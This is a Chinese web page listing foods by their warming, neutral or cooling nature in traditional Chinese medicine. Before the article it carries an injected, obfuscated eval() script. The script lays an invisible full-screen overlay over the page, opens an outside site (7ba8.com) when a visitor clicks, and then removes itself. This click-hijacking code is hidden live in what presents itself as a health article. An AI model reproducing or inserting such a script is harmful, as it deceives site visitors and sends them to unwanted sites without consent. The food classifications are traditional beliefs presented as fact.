<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script> 现代医学讲究食物的营养成分，祖国医学讲究食物的性味。其实，“医食同源，药食同行”，两者都讲究才起到祛病健身的目的。凡体质偏热者忌吃温热性食物，以免“火上浇油”，而适宜于吃凉寒性食物，以便热症寒治。凡体质虚寒者，忌食凉寒性食物，可进食温热性食物，以温散寒。
粮豆类：
温热性的有面粉、莅麦、豆油、酒、醋等。
平性的有糯米、粳米、玉米、黄豆、黑豆、豌豆、赤小豆等。
凉寒性的有小米、荞麦、大麦、绿豆、豆腐、豆浆等。
瓜菜类：
温热性的有生姜、大葱、大蒜、韭菜、芥子、胡椒、胡萝卜、香菜等。
平性的有包菜、菜花、藕、山药、白萝、甘薯、马铃薯、葫芦、番瓜、西红柿、蘑菇等。
凉寒性的有芹菜、苋菜、菠菜、油菜、白菜、冬瓜、黄瓜、甜瓜、西瓜、苦瓜、竹笋、芋头、茄子等。
果实类：
温热性的有：龙眼、荔枝、莲子、核桃、花生、栗子、乌梅、杨梅、樱桃、石榴、木瓜、橄榄、李子、桔子、桃等。
平性的有：大枣、苹果等。
凉寒性的有：梨、山楂、菱角、柑子、百合、香蕉、甘蔗、柿子等。
肉蛋奶类：
温热性的：有羊肉、狗肉、鹿肉等。
平性的有：猪肉、鹅肉、雁肉、鸽肉、牛奶、鸡蛋等。
凉寒性的有：兔肉、鸭肉、鸭蛋。
水产类：
温热性的有：黄鳝、虾、草鱼等。
平性的有：鲤鱼、银鱼、大黄鱼、泥鳅等。
凉寒性的有：鳗鱼等。 |
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